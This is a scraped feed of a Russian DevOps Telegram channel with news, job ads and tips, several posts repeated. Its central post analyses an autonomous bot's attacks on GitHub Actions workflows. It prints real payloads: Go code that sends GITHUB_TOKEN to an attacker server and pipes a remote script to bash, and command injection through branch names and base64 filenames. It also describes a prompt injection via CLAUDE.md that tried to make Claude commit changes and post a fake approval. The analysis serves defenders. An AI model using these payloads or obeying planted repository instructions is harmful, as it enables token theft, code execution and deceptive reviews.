Всё больше компаний используют passkeys с расширением PRF (Pseudo-Random Function) не только для аутентификации, но и для шифрования пользовательских данных — переписки, файлов, крипто-кошельков, резервных копий.
В чём проблема
На самом деле, когда аутентификация и шифрование совмещены в одном ключе — радиус поражения при его потере становится катастрофическим.
Представьте: пользователь включил зашифрованные резервные копии в мессенджере через passkey. Через несколько месяцев заходит в менеджер паролей, видит незнакомую запись и удаляет её. Никакого предупреждения, просто «Удалить passkey?».
Год спустя — новый телефон, попытка восстановить резервную копию. Passkey больше нет. Фотографий и остального тоже нет.
Apple Passwords, Google Password Manager и Bitwarden при удалении passkey никак не предупреждают, что вместе с ним будут безвозвратно уничтожены зашифрованные данные. Пользователь не может и не должен знать об этой связи.
У PRF в WebAuthn есть легитимные применения, например, разблокировка самого менеджера паролей, где есть механизмы восстановления. Но шифровать пользовательские данные напрямую опасно.
📍 Навигация: Вакансии • Задачи • Собесы
#локализация
Please open Telegram to view this post
VIEW IN TELEGRAM
👍1
📰 Релизы недели и не только
Собрали материалы недели, которые вы могли пропустить в потоке.
— Docker Model Runner теперь запускает vLLM на macOS
Владельцы Mac на Apple Silicon теперь могут запускать MLX-модели через vLLM с тем же OpenAI-совместимым API и привычным Docker-воркфлоу
— Вышел Tails 7.5
В основе новой версии лежит пакетная база Debian 13 и ядро Linux 6.12 LTS
— Wine 11.3
— Локальный AI-агент
— Terraform Enterprise 1.2
📍 Навигация: Вакансии • Задачи • Собесы
🐸 Библиотека devops'a
#дайджест_недели
Собрали материалы недели, которые вы могли пропустить в потоке.
— Docker Model Runner теперь запускает vLLM на macOS
Владельцы Mac на Apple Silicon теперь могут запускать MLX-модели через vLLM с тем же OpenAI-совместимым API и привычным Docker-воркфлоу
— Вышел Tails 7.5
В основе новой версии лежит пакетная база Debian 13 и ядро Linux 6.12 LTS
— Wine 11.3
— Локальный AI-агент
— Terraform Enterprise 1.2
📍 Навигация: Вакансии • Задачи • Собесы
#дайджест_недели
Please open Telegram to view this post
VIEW IN TELEGRAM
Хватит просто «обслуживать» чужой код. Построй архитектуру как кофаундер 🚀
Proglib App — EdTech-платформа с ИИ-фишками, курсами и квизами. MVP в продакшене, пользователи учатся. Проекту нужен технический партнёр, который возьмёт на себя разработку и архитектуру сервиса.
Это шанс применить опыт в автоматизации и надёжности для создания продукта с нуля.
🛠️ Стек проекта:
TypeScript, React 18, Express 5, PostgreSQL, Drizzle ORM.
Твои задачи:
• Проектировать масштабируемую архитектуру и пилить фичи.
• Обеспечивать CI/CD, писать тесты и делать код-ревью.
• Развивать ИИ-инструменты платформы.
Идеальный мэтч, если:
• Уверенно знаешь TS, Node.js и понимаешь React.
• Умеешь строить надёжные системы без овер-инжиниринга.
• Используешь Claude Code и Cursor для ускорения поставки фич.
Удалёнка, отсутствие бюрократии, работа напрямую с основателем (он тоже кодит).
Готов превратить MVP в эталон инженерной мысли? Пиши о себе в бота 👇
@proglibrary_feedback_bot
Proglib App — EdTech-платформа с ИИ-фишками, курсами и квизами. MVP в продакшене, пользователи учатся. Проекту нужен технический партнёр, который возьмёт на себя разработку и архитектуру сервиса.
Это шанс применить опыт в автоматизации и надёжности для создания продукта с нуля.
🛠️ Стек проекта:
TypeScript, React 18, Express 5, PostgreSQL, Drizzle ORM.
Твои задачи:
• Проектировать масштабируемую архитектуру и пилить фичи.
• Обеспечивать CI/CD, писать тесты и делать код-ревью.
• Развивать ИИ-инструменты платформы.
Идеальный мэтч, если:
• Уверенно знаешь TS, Node.js и понимаешь React.
• Умеешь строить надёжные системы без овер-инжиниринга.
• Используешь Claude Code и Cursor для ускорения поставки фич.
Удалёнка, отсутствие бюрократии, работа напрямую с основателем (он тоже кодит).
Готов превратить MVP в эталон инженерной мысли? Пиши о себе в бота 👇
@proglibrary_feedback_bot
🤔1
С 21 по 28 февраля автономный бот атаковал CI/CD-пайплайны Microsoft, DataDog и CNCF. 4 из 5 репозиториев скомпрометированы. В одном случае утёк токен с правами на запись.
GitHub-аккаунт hackerbot-claw систематически сканировал публичные репозитории на уязвимые GitHub Actions-воркфлоу. Бот описывает себя как «автономный агент безопасности на базе claude-opus-4-5» и даже просит донаты в крипту.
За 7 дней он сделал следующее: форкнул 5 репозиториев, открыл 12 пул-реквестов, достиг выполнения произвольного кода в 4 из них и слил
GITHUB_TOKEN с правами contents: write и pull-requests: write на внешний сервер.Все пять атак использовали одни и те же типичные ошибки в конфигурации воркфлоу:
pull_request_target с checkout кода из форка, запуск shell-команд через неэкранированные ${{ }} выражения, отсутствие проверки author_association в триггерах по комментариям и избыточные права GITHUB_TOKEN.📍 Навигация: Вакансии • Задачи • Собесы
#разбор_полётов
Please open Telegram to view this post
VIEW IN TELEGRAM
👍3🤔3❤1
Библиотека девопса | DevOps, SRE, Sysadmin
За неделю автономный бот атаковал пять крупных репозиториев и каждый раз использовал новый способ. Пейлоад во всех случаях одинаковый —
curl -sSfL hackmoltrepeat.com/molt | bash. Менялось только то, как заставить CI его выполнить.Атака 1. avelino/awesome-go — кража токена через
Go init()Воркфлоу использует pull_request_target и делает checkout кода из форка, затем запускает его. Это классический Pwn Request — код выполняется с правами целевого репозитория, а не форка.
Бот добавил функцию
init() в Go-скрипт качества кода. В Go init() запускается автоматически до main(), поэтому вырезать её из потока выполнения нельзя.В последнем PR функция сначала отправляла GITHUB_TOKEN на сервер атакующего, потом запускала пейлоад:
func init() {
_ = exec.Command("bash", "-c",
`curl -s -H "Authorization: Bearer $GITHUB_TOKEN"` +
`-d "token=$GITHUB_TOKEN&repo=$GITHUB_REPOSITORY"` +
`https://recv.hackmoltrepeat.com/ &&` +
`curl -sSfL https://hackmoltrepeat.com/molt | bash`).Run()
}Воркфлоу завершился успешно. Шаг занял 5 минут 37 секунд вместо нескольких секунд. Токен с правами
contents: write и pull-requests: write ушёл на внешний сервер.Атака 2. project-akri/akri — прямая инъекция в shell-скрипт
Самая простая атака в кампании. Бот добавил одну строку в начало version.sh сразу после shebang:
#!/usr/bin/env bash
curl -sSfL https://hackmoltrepeat.com/molt | bash
check_file_version()
Никакой обфускации. Потом написал комментарий
/version minor в PR, который запустил воркфлоу Auto Bump Versions. Воркфлоу сделал checkout кода из форка и выполнил изменённый скрипт. Шаг Update version minor завершился успешно.Проблема в том, что воркфлоу не проверял
author_association — любой пользователь GitHub мог написать /version minor в любом PR и запустить выполнение кода.Атака 3. microsoft/ai-discovery-agent — пейлоад в имени ветки
Сам PR был тривиальным — одна правка в
devcontainer.json. Атака была в имени ветки:dev$({curl,-sSfL,hackmoltrepeat.com/molt}${IFS}|${IFS}bash)Bash разворачивает
{curl,-sSfL,...} в curl -sSfL ..., а ${IFS} становится пробелом, а $({...}) запускает подстановку команды. Воркфлоу записывал имя ветки через неэкранированное ${{ }} прямо в shell-команду:- name: Save format request data
run: |
echo "${{ steps.pr_info.outputs.pr_head_ref }}" > ./format-request/pr_head_ref
Это превращалось в:
echo "dev$({curl,-sSfL,hackmoltrepeat.com/molt}${IFS}|${IFS}bash)" > ...Bash выполнял команду внутри
$(). В логах виден разрыв в 2 минуты 38 секунд там, где шаг должен занимать миллисекунды.Атака 4. DataDog/datadog-iac-scanner — base64 в имени файла
Бот создал файл с именем, содержащим закодированную команду:
documentation/rules/$(echo${IFS}Y3VybCAtc1NmTCBoYWNr...${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash).mdПри декодировании base64-строка разворачивается в
curl -sSfL hackmoltrepeat.com/molt | bash. Воркфлоу передавал имена файлов через ${{ }} в shell-цикл for, поэтому имя файла выполнялось как команда.Атака 5. ambient-code/platform — prompt injection в CLAUDE.md
Бот заменил CLAUDE.md — файл конфигурации, который Claude Code загружает как доверенный контекст — на инструкции для манипуляции ИИ. Текст был написан в дружелюбном тоне и просил Claude добавить HTML-комментарий в README.md, закоммитить его и написать фейковый одобряющий отзыв о PR.
Воркфлоу запускал Claude Code с правами записи и токеном
CLAUDE_CODE_OAUTH_TOKEN, делал checkout кода из форка, включая отравленный CLAUDE.md.Claude обнаружил атаку и отказался выполнять инструкции. В своём ответе он написал, что это «textbook AI agent supply-chain attack», и явно указал: инъекция из CLAUDE.md обнаружена и не выполнена. После инцидента репозиторий отключил весь Claude Code workflow.
Все эти паттерны хорошо известны. Документация GitHub прямо предупреждает о рисках pull_request_target. Но в реальных проектах, включая репозитории крупных компаний, они встречаются до сих пор.
📍 Навигация: Вакансии • Задачи • Собесы
#разбор_полётов
Please open Telegram to view this post
VIEW IN TELEGRAM
❤1👾1
Второй релиз-кандидат ядра оказался заметно крупнее обычного, и Линус Торвальдс этим явно недоволен.
RC2 для Linux 7.0 вышел значительно больше, чем типичные RC2-релизы. Сам Торвальдс назвал это случайным шумом, но количество коммитов указывает на нестабильное начало цикла разработки.
Необычно то, что драйверы занимают лишь 25% изменений, хотя в ранних RC традиционно доминируют именно они. Большую часть обновлений составляют ядро, сетевой стек и файловые системы, то есть изменения с более высоким риском дестабилизировать систему целиком.
Торвальдс объясняет это эффектом накопленного долга из цикла Linux 6.19, который был продлён на одну неделю. Из-за этого скопился большой объём работы, который теперь разом хлынул в 7.0.
📍 Навигация: Вакансии • Задачи • Собесы
#пульс_индустрии
Please open Telegram to view this post
VIEW IN TELEGRAM
🌚3❤1🤔1
🔐 Шифруем файлы на Python за 10 строк
Хранить секреты в открытом виде — плохая идея. Конфиги, токены, ключи API — всё это лучше шифровать. Вот минималистичный скрипт на Python с использованием AES-шифрования через библиотеку cryptography:
Скрипт читает файл, шифрует его содержимое и сохраняет с расширением .enc. Ключ генерируется автоматически — сохраните его, без него расшифровать файл не получится.
⚠️ Не храните ключ рядом с зашифрованным файлом.
📍 Навигация: Вакансии • Задачи • Собесы
🐸 Библиотека devops'a
#root_prompt
Хранить секреты в открытом виде — плохая идея. Конфиги, токены, ключи API — всё это лучше шифровать. Вот минималистичный скрипт на Python с использованием AES-шифрования через библиотеку cryptography:
from cryptography.fernet import Fernet
def encrypt_file(file_path):
key = Fernet.generate_key()
cipher = Fernet(key)
with open(file_path, "rb") as file:
encrypted_data = cipher.encrypt(file.read())
with open(file_path + ".enc", "wb") as enc_file:
enc_file.write(encrypted_data)
print(f"File encrypted! Key: {key.decode()}")
if __name__ == "__main__":
encrypt_file("secrets.txt")
Скрипт читает файл, шифрует его содержимое и сохраняет с расширением .enc. Ключ генерируется автоматически — сохраните его, без него расшифровать файл не получится.
⚠️ Не храните ключ рядом с зашифрованным файлом.
📍 Навигация: Вакансии • Задачи • Собесы
#root_prompt
Please open Telegram to view this post
VIEW IN TELEGRAM
👍4
По неофициальной статистике, нужно около тысячи откликов, чтобы получить 2-3 приглашения на собеседование. Добавьте к этому нормализованный гостинг, многоступенчатые отборы без обратной связи и скрытые вакансии, которые никогда не появятся на хх.ру — и картина станет полной.
В таких условиях побеждает не тот, кто лучше, а тот, кто хитрее.
📍 Навигация: Вакансии • Задачи • Собесы
#пульс_индустрии
Please open Telegram to view this post
VIEW IN TELEGRAM
👍1🤔1
Anonymous Poll
54%
Android / AOSP и форки
39%
Iphone
4%
На Linux
5%
Кнопочный
3%
Эмулятор на ПК
📱 Телефон девопса
Мы тут поспорили — какой телефон у типичного девопса. Кто-то говорит, что все давно на айфоне, кто-то клянётся андроидом, а кто-то, говорят, реально носит в кармане что-то на Linux.
Голосуйте 👆
📍 Навигация: Вакансии • Задачи • Собесы
🐸 Библиотека devops'a
#холиварня
Мы тут поспорили — какой телефон у типичного девопса. Кто-то говорит, что все давно на айфоне, кто-то клянётся андроидом, а кто-то, говорят, реально носит в кармане что-то на Linux.
Голосуйте 👆
📍 Навигация: Вакансии • Задачи • Собесы
#холиварня
Please open Telegram to view this post
VIEW IN TELEGRAM
🔄 elementary OS 8.1.1
Вышел elementary OS 8.1.1. Это точечный релиз, который не меняет архитектуру системы, но убирает несколько раздражающих мелочей и добавляет пару полезных вещей.
Панель задач теперь показывает горячие клавиши в подсказках и добавляет информацию о фоновых процессах. AppCenter перестал зависать после нажатия «Отмена».
Диалоги с паролем и выходом из системы получили размытие фона. В настройках появилась поддержка трекпоинтов, режим перетаскивания через тачпад и выбор просмотрщика PDF по умолчанию.
Из панели убрали ярлыки System Settings и Multitasking View, которые там особо никому не были нужны. Автообновления теперь включены по умолчанию, а назойливые Wi-Fi уведомления выключены.
Ещё в комплекте идёт ядро Linux 6.17.
➡️ Источник
📍 Навигация: Вакансии • Задачи • Собесы
🐸 Библиотека devops'a
#пульс_индустрии
Вышел elementary OS 8.1.1. Это точечный релиз, который не меняет архитектуру системы, но убирает несколько раздражающих мелочей и добавляет пару полезных вещей.
Панель задач теперь показывает горячие клавиши в подсказках и добавляет информацию о фоновых процессах. AppCenter перестал зависать после нажатия «Отмена».
Диалоги с паролем и выходом из системы получили размытие фона. В настройках появилась поддержка трекпоинтов, режим перетаскивания через тачпад и выбор просмотрщика PDF по умолчанию.
Из панели убрали ярлыки System Settings и Multitasking View, которые там особо никому не были нужны. Автообновления теперь включены по умолчанию, а назойливые Wi-Fi уведомления выключены.
Ещё в комплекте идёт ядро Linux 6.17.
📍 Навигация: Вакансии • Задачи • Собесы
#пульс_индустрии
Please open Telegram to view this post
VIEW IN TELEGRAM
👍2❤1
Мобильный деплой это не бэкенд. Откатиться нельзя, патч не прилетит за минуты, а баг уже у миллионов пользователей. Gojek прошли этот путь на трёх продуктах одновременно.
Что помогает при мобильных релизах
Владение процессом важнее инструментов. Пока релиз был "общей ответственностью", он был ничьей. Выделенный менеджер релизов держит общую картину, режет поздние правки и служит единой точкой правды во время раскатки.
Главное условие, что знания не должны жить в одной голове.
Расписание релизов вместо дедлайнов. Поезд уходит каждую неделю. Не успел протестировать функцию, едет в следующем релизе. Это убирает давление «впихнуть в релиз». Релизы стали меньше, стабильнее и спокойнее.
Автоматизация сборки и доставки. Сборка, подпись артефактов, загрузка бинарей, управление поэтапной раскаткой, уведомления в каналы. Всё через конвейеры, не через ручные действия в консоли.
Меньше человеческих ошибок, лучше аудит и безопасность. Конвейеры держат как полноценный продукт: следят за состоянием и улучшают.
Фича флаги как аварийный рубильник. Деплой и показ функции пользователям расцеплены. Код едет в прод выключенным. Если что-то идёт не так, флаг переключается без нового релиза. Обратная сторона, флаги надо чистить. Иначе копится долг.
Показатели релиза. Доля сессий без сбоев, частота зависаний, частота срочных исправлений, количество откатов, время от заморозки кода до отправки в магазин.
Эти цифры показывают здоровье процесса, а не виноватых. И дают менеджеру релизов чёткий критерий, когда останавливать раскатку.
Мониторинг после релиза. Релиз не заканчивается в момент публикации. Сбои, деградация производительности, всплески ошибок, задержка при запуске приложения.
Без этого узнаёшь о проблемах из отзывов в магазине, когда уже поздно.
Стабильность пришла не от того, что стали деплоить реже. А от того, что научились делать это предсказуемо.
📍 Навигация: Вакансии • Задачи • Собесы
#локализация
Please open Telegram to view this post
VIEW IN TELEGRAM
🤔 Кажется, мониторинг окончательно перестал быть «графиками на всякий случай» и стал частью управления рисками и выручкой.
Yandex B2B Tech запустила Monium — observability-платформу для мониторинга и управления состоянием ИТ-систем в реальном времени. Важно, что продукт вырос из внутренней платформы Яндекса, разработанной командой Yandex Infrastructure: его использовали для мониторинга критичных сервисов, а теперь он доступен внешним компаниям.
Что внутри:
Внутри Яндекса с платформой ежемесячно работают около 16 тысяч сотрудников. В систему каждую секунду записывается до 3 млрд семплов метрик, 44 млн спанов и 60 ГБ логов.
Платформу уже тестируют ОТП Банк и крупная FMCG-компания — хороший сигнал для enterprise-сегмента.
Observability всё чаще связывают с экономическим эффектом, потому что простои и деградации напрямую бьют по доходам, а скорость диагностики становится фактором конкурентоспособности.
Где больнее всего мониторинг: микросервисы, legacy-монолит, on-prem, гибрид или облако? 👇
Yandex B2B Tech запустила Monium — observability-платформу для мониторинга и управления состоянием ИТ-систем в реальном времени. Важно, что продукт вырос из внутренней платформы Яндекса, разработанной командой Yandex Infrastructure: его использовали для мониторинга критичных сервисов, а теперь он доступен внешним компаниям.
Что внутри:
1. единый интерфейс для метрик, логов и трейсов — чтобы быстро собрать полную картину по системе
2. поиск инцидентов и первопричин (особенно полезно в микросервисной архитектуре)
3. гибкий алертинг и сценарии эскалации, включая уведомления и звонки ответственным
4. мониторинг приложений, инфраструктуры и ИИ-агентов — в облаке и в on-prem среде
Внутри Яндекса с платформой ежемесячно работают около 16 тысяч сотрудников. В систему каждую секунду записывается до 3 млрд семплов метрик, 44 млн спанов и 60 ГБ логов.
Платформу уже тестируют ОТП Банк и крупная FMCG-компания — хороший сигнал для enterprise-сегмента.
Observability всё чаще связывают с экономическим эффектом, потому что простои и деградации напрямую бьют по доходам, а скорость диагностики становится фактором конкурентоспособности.
Где больнее всего мониторинг: микросервисы, legacy-монолит, on-prem, гибрид или облако? 👇
🔥3🌚1
Топ-вакансий для девопсов за неделю
DevOps-инженер — от 345 000 ₽, офис в Москве
DevOps Engineer — от 250 000 до 300 000 ₽, гибрид в Москве
Middle DevOps Engineer — Удалёнка
➡️ Еще больше топовых вакансий — в нашем канале Devops Jobs
🐸 Библиотека devops'a
#вакансия_недели
DevOps-инженер — от 345 000 ₽, офис в Москве
DevOps Engineer — от 250 000 до 300 000 ₽, гибрид в Москве
Middle DevOps Engineer — Удалёнка
#вакансия_недели
Please open Telegram to view this post
VIEW IN TELEGRAM
🔄 Nitrux 6.0.0
Nitrux позиционирует себя как дистрибутив для тех, кто хочет полный контроль над железом и не готов мириться с лишними слоями абстракции. Шестая версия продолжает эту логику.
Ядро и низкоуровневые компоненты
Система работает на ядре Linux 6.19.2 с патчами от CachyOS. Одно из заметных изменений на уровне ядра — NVMe-накопитель теперь не уходит в глубокий режим сна.
Добавлена отдельная запись в GRUB под названием «Intel Xe Mode». Она позволяет принудительно использовать драйвер xe вместо i915 на поддерживаемых GPU Intel.
VxM — виртуализация с проброской GPU
VxM — утилита оркестрации гипервизора, написанная на C++. Она работает через VFIO PCI passthrough и IOMMU-изоляцию, что позволяет передавать дискретную видеокарту напрямую виртуальной машине.
На практике это означает близкую к нативной производительность для гостевой ОС без эмуляционных накладных расходов.
NUTS переписан на C++
Nitrux Update Tool System теперь реализована на C++. Прежняя версия на Shell Script заменена клиент-серверной архитектурой с интерфейсом на MauiKit и интеграцией PolicyKit для контроля привилегированных операций.
Это релиз, в котором команда последовательно избавляется от legacy-кода и переводит ключевые компоненты на C++ с нативной Wayland-интеграцией.
➡️ Release Notes
📍 Навигация: Вакансии • Задачи • Собесы
🐸 Библиотека devops'a
#пульс_индустрии
Nitrux позиционирует себя как дистрибутив для тех, кто хочет полный контроль над железом и не готов мириться с лишними слоями абстракции. Шестая версия продолжает эту логику.
Ядро и низкоуровневые компоненты
Система работает на ядре Linux 6.19.2 с патчами от CachyOS. Одно из заметных изменений на уровне ядра — NVMe-накопитель теперь не уходит в глубокий режим сна.
Добавлена отдельная запись в GRUB под названием «Intel Xe Mode». Она позволяет принудительно использовать драйвер xe вместо i915 на поддерживаемых GPU Intel.
VxM — виртуализация с проброской GPU
VxM — утилита оркестрации гипервизора, написанная на C++. Она работает через VFIO PCI passthrough и IOMMU-изоляцию, что позволяет передавать дискретную видеокарту напрямую виртуальной машине.
На практике это означает близкую к нативной производительность для гостевой ОС без эмуляционных накладных расходов.
NUTS переписан на C++
Nitrux Update Tool System теперь реализована на C++. Прежняя версия на Shell Script заменена клиент-серверной архитектурой с интерфейсом на MauiKit и интеграцией PolicyKit для контроля привилегированных операций.
Это релиз, в котором команда последовательно избавляется от legacy-кода и переводит ключевые компоненты на C++ с нативной Wayland-интеграцией.
📍 Навигация: Вакансии • Задачи • Собесы
#пульс_индустрии
Please open Telegram to view this post
VIEW IN TELEGRAM
👍2